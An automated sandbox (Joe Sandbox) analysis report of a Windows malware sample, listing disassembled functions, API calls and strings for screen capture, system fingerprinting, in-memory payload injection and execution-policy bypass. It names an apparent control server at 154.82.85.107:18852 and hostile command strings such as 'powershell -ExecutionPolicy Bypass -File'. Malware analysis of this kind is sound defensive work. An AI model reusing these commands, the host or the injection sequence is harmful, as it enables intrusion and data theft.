API ID: CloseHandleSleep$EnumObjectSingleWaitWindows$CreateEventExceptionFilterLocalOpenQueryTimeUnhandledValue__fassign_mallocwsprintf
String ID: %4d.%2d.%2d-%2d:%2d:%2d$15091$15091$15092$15093$154.82.85.107$154.82.85.107$154.82.85.107$154.82.85.107$Console$IpDatespecial
API String ID: 1511462596-2950227363
Opcode ID: 3c1abfa334580cdf03d01b17a9f95bf479593422920347d4faf14016d77222eb
Instruction ID: d710dc6f772faddf3bf82e3ab8ab38e08bbad7262ea98696d0cdfb1e15e28c49
Opcode Fuzzy Hash: 3c1abfa334580cdf03d01b17a9f95bf479593422920347d4faf14016d77222eb
Instruction Fuzzy Hash: 3CD113B094B701BFD320EF64EC85E6EB7E8BBC4700F004A1EF1558A285DB759855CB6A

Function 0307BC70 Relevance: 54.6, APIs: 27, Strings: 4, Instructions: 351
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDesktopWindow.USER32 ref: 0307BC8F
GetDC.USER32 ref: 0307BC9C
CreateCompatibleDC.GDI32(00000000), ref: 0307BCA2
GetDC.USER32 ref: 0307BCAD
GetDeviceCaps.GDI32 ref: 0307BCBA
GetDeviceCaps.GDI32 ref: 0307BCC2
ReleaseDC.USER32(00000000,00000000), ref: 0307BCD3
GetSystemMetrics.USER32(0000004E), ref: 0307BCF8
GetSystemMetrics.USER32(0000004F), ref: 0307BD26
GetSystemMetrics.USER32(0000004C), ref: 0307BD78
GetSystemMetrics.USER32(0000004D), ref: 0307BD8D
CreateCompatibleBitmap.GDI32 ref: 0307BDA6
SelectObject.GDI32(?,00000000), ref: 0307BDB4
SetStretchBltMode.GDI32 ref: 0307BDC0
GetSystemMetrics.USER32(0000004F), ref: 0307BDCD
GetSystemMetrics.USER32(0000004E), ref: 0307BDE0
StretchBlt.GDI32(?,00000000,00000000,?,00000000,?,?,?,00000000,?,00000000), ref: 0307BE07
_memset.LIBCMT ref: 0307BE7A
GetDIBits.GDI32 ref: 0307BE97
_memset.LIBCMT ref: 0307BEAF

Part of subcall function 0307F707: _malloc.LIBCMT ref: 0307F721

DeleteObject.GDI32 ref: 0307BF23
DeleteObject.GDI32 ref: 0307BF2D
ReleaseDC.USER32(00000000,?), ref: 0307BF39
DeleteObject.GDI32 ref: 0307BFDF
DeleteObject.GDI32 ref: 0307BFE9
ReleaseDC.USER32(00000000,?), ref: 0307BFF5

Strings

gfff, xrefs: 0307BD38
(, xrefs: 0307BE3E
gfff, xrefs: 0307BD10
6, xrefs: 0307BE61

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: MetricsSystem$Object$Delete$Release$CapsCompatibleCreateDeviceStretch_memset$BitmapBitsDesktopModeSelectWindow_malloc
String ID: ($6$gfff$gfff
API String ID: 3293817703-713438465
Opcode ID: 952aa3171e943c09eff1ee0b858e943ef0755318ba86bd6c145429c60828e93c
Instruction ID: dc1c535542aaf6aa92bf0dc0d3fc7f977c965503d1b18daa7150c12eb72f02b6
Opcode Fuzzy Hash: 952aa3171e943c09eff1ee0b858e943ef0755318ba86bd6c145429c60828e93c
Instruction Fuzzy Hash: 13D193B1D02318AFDB10EFE9D885B9EBBB9FF88700F144529F505AB240D774A905CB95

Function 03077490 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 99registrylibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,75BF73E0,?,?,?,03075611,0000035E,000002FA), ref: 0307749C
GetProcAddress.KERNEL32(00000000,RtlGetNtVersionNumbers), ref: 030774B2
swprintf.LIBCMT ref: 030774EF

Part of subcall function 03077410: GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo,?,?,?,?,?,?,?,?,03077523), ref: 0307743D
Part of subcall function 03077410: GetProcAddress.KERNEL32(00000000), ref: 03077444
Part of subcall function 03077410: GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,03077523), ref: 03077452

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020019,000002FA), ref: 03077547
RegQueryValueExW.KERNEL32(000002FA,ProductName,00000000,00000001,00000000,?), ref: 03077563
RegCloseKey.KERNEL32(000002FA), ref: 03077586
FreeLibrary.KERNEL32(00000000,?,?,?,03075611,0000035E,000002FA), ref: 03077598

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0307753D
RtlGetNtVersionNumbers, xrefs: 030774AC
ProductName, xrefs: 0307755D
%d.%d.%d, xrefs: 030774E7
ntdll.dll, xrefs: 03077497

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$CloseFreeHandleInfoLoadModuleNativeOpenQuerySystemValueswprintf
String ID: %d.%d.%d$ProductName$RtlGetNtVersionNumbers$SOFTWARE\Microsoft\Windows NT\CurrentVersion$ntdll.dll
API String ID: 2158625971-3190923360
Opcode ID: 913487d4fbfe8c8f57d50503f1572588e8ba10ce941679bcef4068aa09d54462
Instruction ID: 68c019ae3f54a8010102cbbda4e02e966af5b666522a68d56a3cb0c8734ab1bf
Opcode Fuzzy Hash: 913487d4fbfe8c8f57d50503f1572588e8ba10ce941679bcef4068aa09d54462
Instruction Fuzzy Hash: 0431B875A42309BFDB14EBA4CC45EFF77BCEB48780F140519BA05A6146E674DA04C760

Function 030780F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 114stringCOMMON

Download Yara Rule

APIs

GetLogicalDriveStringsW.KERNEL32(000003E8,?,75BF73E0,00000AD4,00000000), ref: 03078132
lstrcmpiW.KERNEL32(?,A:\), ref: 03078166
lstrcmpiW.KERNEL32(?,B:\), ref: 03078176
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 030781A6
lstrlenW.KERNEL32(?), ref: 030781B7
__wcsnicmp.LIBCMT ref: 030781CE
lstrcpyW.KERNEL32(00000AD4,?), ref: 03078204
lstrcpyW.KERNEL32(?,?), ref: 03078228
lstrcatW.KERNEL32(?,00000000), ref: 03078233

Strings

B:\, xrefs: 03078170
A:\, xrefs: 03078160

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: lstrcmpilstrcpy$DeviceDriveLogicalQueryStrings__wcsnicmplstrcatlstrlen
String ID: A:\$B:\
API String ID: 950920757-1009255891
Opcode ID: 7ae2a8180253200027cd7efcf9917fe33937754341154d6ae6c15973edd636d4
Instruction ID: 7410b839442c9bdafe3c640c93471b2bba68cef27f9fc010c922c832d150849e
Opcode Fuzzy Hash: 7ae2a8180253200027cd7efcf9917fe33937754341154d6ae6c15973edd636d4
Instruction Fuzzy Hash: 9B419971E0321CABDB60DF65DD45AEEB3BCFF84610F04459AE909A7140EB74DA05CB98

Function 03076790 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 03075320: InterlockedDecrement.KERNEL32(00000008), ref: 0307536F
Part of subcall function 03075320: SysFreeString.OLEAUT32(00000000), ref: 03075384
Part of subcall function 03075320: SysAllocString.OLEAUT32(03095148), ref: 030753D5

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,?,03095148,030769A4,03095148,00000000,75BF73E0), ref: 030767F4
GetLastError.KERNEL32 ref: 030767FE
GetProcessHeap.KERNEL32(00000008,?), ref: 03076816
HeapAlloc.KERNEL32(00000000), ref: 0307681D
GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,?,?), ref: 0307683F
LookupAccountSidW.ADVAPI32(00000000,?,?,00000100,?,00000100,?), ref: 03076871
GetLastError.KERNEL32 ref: 0307687B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 030768E6
HeapFree.KERNEL32(00000000), ref: 030768ED

Strings

NONE_MAPPED, xrefs: 03076888

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: Heap$AllocErrorFreeInformationLastProcessStringToken$AccountDecrementInterlockedLookup
String ID: NONE_MAPPED
API String ID: 1317816589-2950899194
Opcode ID: 22fae23a5f5ddcc8b09bf2a6b825caab6d85067943ee6222386b340e6e49f2ad
Instruction ID: 767c358460b52389b205e26be5b4d9b14d296b4e629469df383d345254a47938
Opcode Fuzzy Hash: 22fae23a5f5ddcc8b09bf2a6b825caab6d85067943ee6222386b340e6e49f2ad
Instruction Fuzzy Hash: 3141A6B5E0221CAFDB60EB64DC44FEE73BCFBC5700F004599E609AA140DA755A858B68

Function 03076C50 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,74DEDF80,00000000,75BF73E0), ref: 03076C8B
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 03076CAA
_memset.LIBCMT ref: 03076CE1
GlobalMemoryStatusEx.KERNEL32(?), ref: 03076CF4
swprintf.LIBCMT ref: 03076D39
swprintf.LIBCMT ref: 03076D4C

Strings

%sFree%d Gb , xrefs: 03076D41
HDD:%d, xrefs: 03076D2E
@, xrefs: 03076CED
:, xrefs: 03076C80

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: swprintf$DiskDriveFreeGlobalMemorySpaceStatusType_memset
String ID: %sFree%d Gb $:$@$HDD:%d
API String ID: 3202570353-3501811827
Opcode ID: b700f838c6bd153790acbce69e0d87d29b6f42b8b755107eff5d4eb2a636a37d
Instruction ID: d4a17c42c87cd42077f7ad06b0ab9dfb2d03be895c4a4345305ca75717c08fd9
Opcode Fuzzy Hash: b700f838c6bd153790acbce69e0d87d29b6f42b8b755107eff5d4eb2a636a37d
Instruction Fuzzy Hash: BC3161B6E0120CABDB14DFE5CC45FEEB7B9FB88700F50421EE91AAB241D6745905CB94

Function 03076EE0 Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 410COMMON

Download Yara Rule

APIs

CreateDXGIFactory.DXGI(0309579C,?,2DB1A981,74DEDF80,00000000,75BF73E0), ref: 03076F4A
swprintf.LIBCMT ref: 0307711E
std::_Xinvalid_argument.LIBCPMT ref: 030771C7

Strings

vector<T> too long, xrefs: 030771C2
%s%s %d %d , xrefs: 03077113
%s%s %d*%d , xrefs: 03077337

Memory Dump Source

Source File: 00000005.00000002.4134634389.0000000003070000.00000040.00001000.00020000.00000000.sdmp, Offset: 03070000, based on PE: true

Associated: 00000005.00000002.4134634389.00000000030A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3070000_leBwnyHIgx.jbxd

Yara matches

Similarity

API ID: CreateFactoryXinvalid_argumentstd::_swprintf
String ID: %s%s %d %d $%s%s %d*%d $vector<T> too long
API String ID: 3803070356-257307503
Opcode ID: e0321a8bb4ba9f479615ff0c7064f884bd407f9ec02e734a28a66039ce13db65
Instruction ID: eec57e5b046cb4de02783557ff2dcd21f33f5598eb34daab7e4aa9b3cd577942
Opcode Fuzzy Hash: e0321a8bb4ba9f479615ff0c7064f884bd407f9ec02e734a28a66039ce13db65
Instruction Fuzzy Hash: F0E16571E022259FDF64CE68CC80BFEB3B5BB85740F1445E9D91AA7284D770AE818F94

Function 0040C9BC Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,00000004,00000000,0040CA7C,?,?), ref: 0040C9EE
GetLocaleInfoW.KERNEL32(?,00000003,?,00000004,00000000,0040CA7C,?,?), ref: 0040C9F7

Part of subcall function 0040C86C: FindFirstFileW.KERNEL32(00000000,?,00000000,0040C8CA,?,?), ref: 0040C89F
Part of subcall function 0040C86C: FindClose.KERNEL32(00000000,00000000,?,00000000,0040C8CA,?,?), ref: 0040C8AF

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: cba53f77fa6c43a58e77711aeefb5a73a992831c97479b4bd05ea56ffe174a68
Instruction ID: dd154ea817c974e97ef7d73b686066fe5e2276528df8cc7754812583d82bc4d2
Opcode Fuzzy Hash: cba53f77fa6c43a58e77711aeefb5a73a992831c97479b4bd05ea56ffe174a68
Instruction Fuzzy Hash: F8116370B00109DBDB00FBA6D982AAEB7B8EF45704F50457FA504B76D2DB385E058B59

Function 0040C86C Relevance: 3.0, APIs: 2, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040C8CA,?,?), ref: 0040C89F
FindClose.KERNEL32(00000000,00000000,?,00000000,0040C8CA,?,?), ref: 0040C8AF

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 902e23e6e2c558fabe42d0862c9577194d6b3774d660575b183d7f6ebdea202e
Instruction ID: a79f3244e1dae306cfdd43c11d9e05b1965ff1ec8325b00f92b99aced98e3e72
Opcode Fuzzy Hash: 902e23e6e2c558fabe42d0862c9577194d6b3774d660575b183d7f6ebdea202e
Instruction Fuzzy Hash: D8F0B472550608EED710FB79CD9298DBBECEB4431576005B6F400F32D2EA385F00551C

Function 00421DFC Relevance: 122.8, APIs: 8, Strings: 62, Instructions: 333
networkmemoryinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004221FC: LoadLibraryA.KERNEL32(?), ref: 004222E4

VirtualAlloc.KERNEL32(00000000,0001E000,00003000,00000040), ref: 00421E22
WSAStartup.WS2_32(00000202,?), ref: 00421E52
socket.WS2_32(00000002,00000001,00000000), ref: 00421E5E
VirtualProtect.KERNEL32(?,00000001,00000040,?), ref: 0042206B
WriteProcessMemory.KERNEL32(000000FF,?,?,00000064,?), ref: 00422081
connect.WS2_32(?,?,00000010), ref: 00422098
recv.WS2_32(?,?,00001000,00000000), ref: 004220BA
closesocket.WS2_32(?), ref: 004220F0

Strings

s, xrefs: 00421F69
t, xrefs: 00421F1D
m, xrefs: 00421F59
v, xrefs: 00421F6D
o, xrefs: 00421F55
., xrefs: 00421F71
p, xrefs: 00421EF5
x, xrefs: 00421ECD
u, xrefs: 00421F3D
l, xrefs: 00421F31
w, xrefs: 00421F61
., xrefs: 00421F4D
u, xrefs: 00421F05
s, xrefs: 00421F19
., xrefs: 00421F29
U, xrefs: 00421E97
h, xrefs: 00421EAD
/, xrefs: 00421F5D
5, xrefs: 00421F75
6, xrefs: 00421F7D
a, xrefs: 00421EF1
/, xrefs: 00421EC9
s, xrefs: 00421EBD
h, xrefs: 00421F0D
R, xrefs: 00421E90
p, xrefs: 00421ED5
/, xrefs: 00421EC5
-, xrefs: 00421EED
i, xrefs: 00421F35
-, xrefs: 00421EF9
e, xrefs: 00421F95
s, xrefs: 00421EE5
c, xrefs: 00421F45
1, xrefs: 00421F25
o, xrefs: 00421F01
., xrefs: 00421F89
o, xrefs: 00421EE1
c, xrefs: 00421F51
., xrefs: 00421EDD
k, xrefs: 00421E9E
., xrefs: 00421F81
s, xrefs: 00421EFD
e, xrefs: 00421F8D
x, xrefs: 00421F91
t, xrefs: 00421F09
y, xrefs: 00421F39
., xrefs: 00421F79
s, xrefs: 00421EE9
t, xrefs: 00421EB1
a, xrefs: 00421F15
p, xrefs: 00421F65
y, xrefs: 00421ED9
p, xrefs: 00421EB9
3, xrefs: 00421F85
n, xrefs: 00421F41
t, xrefs: 00421EB5
e, xrefs: 00421F11
-, xrefs: 00421F21
s, xrefs: 00421F49
r, xrefs: 00421ED1
:, xrefs: 00421EC1
a, xrefs: 00421F2D

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Virtual$AllocLibraryLoadMemoryProcessProtectStartupWriteclosesocketconnectrecvsocket
String ID: -$-$-$.$.$.$.$.$.$.$/$/$/$1$3$5$6$:$R$U$a$a$a$c$c$e$e$e$h$h$i$k$l$m$n$o$o$o$p$p$p$p$r$s$s$s$s$s$s$s$t$t$t$t$u$u$v$w$x$x$y$y
API String ID: 1908411163-4220177053
Opcode ID: 0a5c0964fa35a880765474ee3d056f93aba7d148df484ba7d181343147612299
Instruction ID: 6eba19237a2e4297c06948fbfb06263f303c5671ab06a48b70b181f2cbbdbc92
Opcode Fuzzy Hash: 0a5c0964fa35a880765474ee3d056f93aba7d148df484ba7d181343147612299
Instruction Fuzzy Hash: C081FD20D083D8DEEB21C7A8D84CBDDBFB55F12748F184199D1887B282C7FA1589CB66

Function 027154C0 Relevance: 45.8, APIs: 16, Strings: 10, Instructions: 263
registrymemorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Console\0,00000000,00020019,?), ref: 02715507
RegQueryValueExW.ADVAPI32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000003), ref: 0271552E
_memset.LIBCMT ref: 02715548
RegQueryValueExW.ADVAPI32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000003), ref: 02715563
VirtualAlloc.KERNEL32(00000000,000311BF,00003000,00000040), ref: 02715586
RegCloseKey.ADVAPI32(?), ref: 027155B1
VirtualFree.KERNEL32(02EF0000,00000000,00008000), ref: 02715605
_memset.LIBCMT ref: 02715669
_memset.LIBCMT ref: 0271568D
_memset.LIBCMT ref: 0271569F
VirtualAlloc.KERNEL32(00000000,000311BF,00003000,00000040), ref: 02715726
RegCreateKeyW.ADVAPI32 ref: 02715799
RegDeleteValueW.KERNEL32(?,9e9e85e05ee16fc372a0c7df6549fbd4), ref: 027157AC
RegSetValueExW.KERNEL32(?,9e9e85e05ee16fc372a0c7df6549fbd4,00000000,00000003,00000000,00000065), ref: 027157C4
RegCloseKey.KERNEL32(?), ref: 027157CE
Sleep.KERNEL32(00000BB8), ref: 027157FE

Strings

e, xrefs: 027154DC
!jWW, xrefs: 02715630
9e9e85e05ee16fc372a0c7df6549fbd4, xrefs: 02715528, 0271555D, 027157A6, 027157BE
0d3b34577c0a66584d5bdc849e214016, xrefs: 027155BA
i, xrefs: 02715658
l, xrefs: 02715644
_, xrefs: 0271564E
{vU_, xrefs: 02715626
., xrefs: 0271563A
Console\0, xrefs: 027154F3, 0271578F

Memory Dump Source

Source File: 00000005.00000002.4133967983.0000000002711000.00000020.00001000.00020000.00000000.sdmp, Offset: 02710000, based on PE: true

Associated: 00000005.00000002.4133938854.0000000002710000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134001989.0000000002725000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134035437.0000000002729000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134065766.000000000272F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4134094665.0000000002731000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2710000_leBwnyHIgx.jbxd

Similarity

API ID: Value_memset$Virtual$AllocCloseQuery$CreateDeleteFreeOpenSleep
String ID: !jWW$.$0d3b34577c0a66584d5bdc849e214016$9e9e85e05ee16fc372a0c7df6549fbd4$Console\0$_$e$i$l${vU_
API String ID: 354323817-737951744
Opcode ID: 4b56201cd74373a350aa24d4a147e81e3e950b7de695743294cf7239fc44a0fd
Instruction ID: 1f60f021ab1c6ac61a6ee09cd89131c4cdc5adf8dc9a64b755a71407e3bf1bbb
Opcode Fuzzy Hash: 4b56201cd74373a350aa24d4a147e81e3e950b7de695743294cf7239fc44a0fd
Instruction Fuzzy Hash: D891F5B5A40214AFE725DF68DC85FAAB7BEFF84700F408559F909AB240D7B09A44CF91

Function 1000B570 Relevance: 40.7, APIs: 15, Strings: 6, Instructions: 3948
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005540: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 10005573
Part of subcall function 10005540: Concurrency::task_continuation_context::task_continuation_context.LIBCPMTD ref: 10005672

_Smanip.LIBCPMTD ref: 1000BC01
_Smanip.LIBCPMTD ref: 1001051C

Part of subcall function 10005400: HandleT.LIBCPMTD ref: 1000546A

_Smanip.LIBCPMTD ref: 1001073A
_Smanip.LIBCPMTD ref: 1001084B

Part of subcall function 10005520: DeleteFileA.KERNEL32(1000A58A,?,1000A58A,00000000,?,?,?,0000005C,?), ref: 10005527

Part of subcall function 10005300: ??Bios_base@std@@QBE_NXZ.MSVCP140(?,00000022,00000040,00000001), ref: 1000534A
Part of subcall function 10005300: ?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(1000A5BB,000000FF,?), ref: 10005384
Part of subcall function 10005300: SetFileAttributesA.KERNEL32(00000000,00000001), ref: 100053A0

Sleep.KERNEL32(000000C8,?,00000000,?,?,?,?,0000005C,?), ref: 10010947
_Smanip.LIBCPMTD ref: 100109A4
_Smanip.LIBCPMTD ref: 10010AD8
Sleep.KERNEL32(000000C8,?,00000000), ref: 10010EF0
_Smanip.LIBCPMTD ref: 1001111B
_Smanip.LIBCPMTD ref: 100111D8
WinExec.KERNEL32 ref: 100112B2
_Smanip.LIBCPMTD ref: 100113C7
_Smanip.LIBCPMTD ref: 10011483
WinExec.KERNEL32 ref: 100115A4
Sleep.KERNEL32(00007530,?,?,?,?,?,?,00000063,?,00000070,?,?,?,?,00000063,?), ref: 100115AF

Part of subcall function 10005740: SetFileAttributesA.KERNEL32(00000000,00000080,?,1000B3D6,?,00000000), ref: 10005751

Strings

cmd.exe /C , xrefs: 100111CE, 100111D1
cmd.exe /C , xrefs: 10011479, 1001147C
\PolicyManagement.xml, xrefs: 10010841, 10010844
powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", xrefs: 1001110E, 10011114
.NET Framework NGEN v4.0.30320, xrefs: 1000B5AE
powershell -ExecutionPolicy Bypass -File , xrefs: 100113BA, 100113C0

Memory Dump Source

Source File: 00000005.00000002.4135367303.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135346021.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135394974.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135417512.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.4135440852.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Smanip$File$Sleep$AttributesExec$?write@?$basic_ostream@Bios_base@std@@Concurrency::task_continuation_context::task_continuation_contextD@std@@@std@@DeleteHandleModuleNameU?$char_traits@V12@
String ID: .NET Framework NGEN v4.0.30320$\PolicyManagement.xml$cmd.exe /C $cmd.exe /C $powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"$powershell -ExecutionPolicy Bypass -File
API String ID: 4257096594-523289145
Opcode ID: 9e45987f3798403d8cc5d3410866f261607f01cdd5ae5bd5fae8056e3af5addb
Instruction ID: 1d7400057bebe3c6382eebc75725cfde9b6fd82cf2fffe0597d68cd537529047
Opcode Fuzzy Hash: 9e45987f3798403d8cc5d3410866f261607f01cdd5ae5bd5fae8056e3af5addb
Instruction Fuzzy Hash: 66D35B50D0D6E8C9EB22C2288C587DDBEA55B22749F4441D9819C2A283C7FF1FD9CF66

Function 10015490 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 163
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 100154B3
getaddrinfo.WS2_32(154.82.85.107,18852,?,00000000), ref: 100154FA
WSACleanup.WS2_32 ref: 10015509
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10015511
socket.WS2_32(?,?,?), ref: 10015552
WSACleanup.WS2_32 ref: 10015566
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 1001556E

Strings

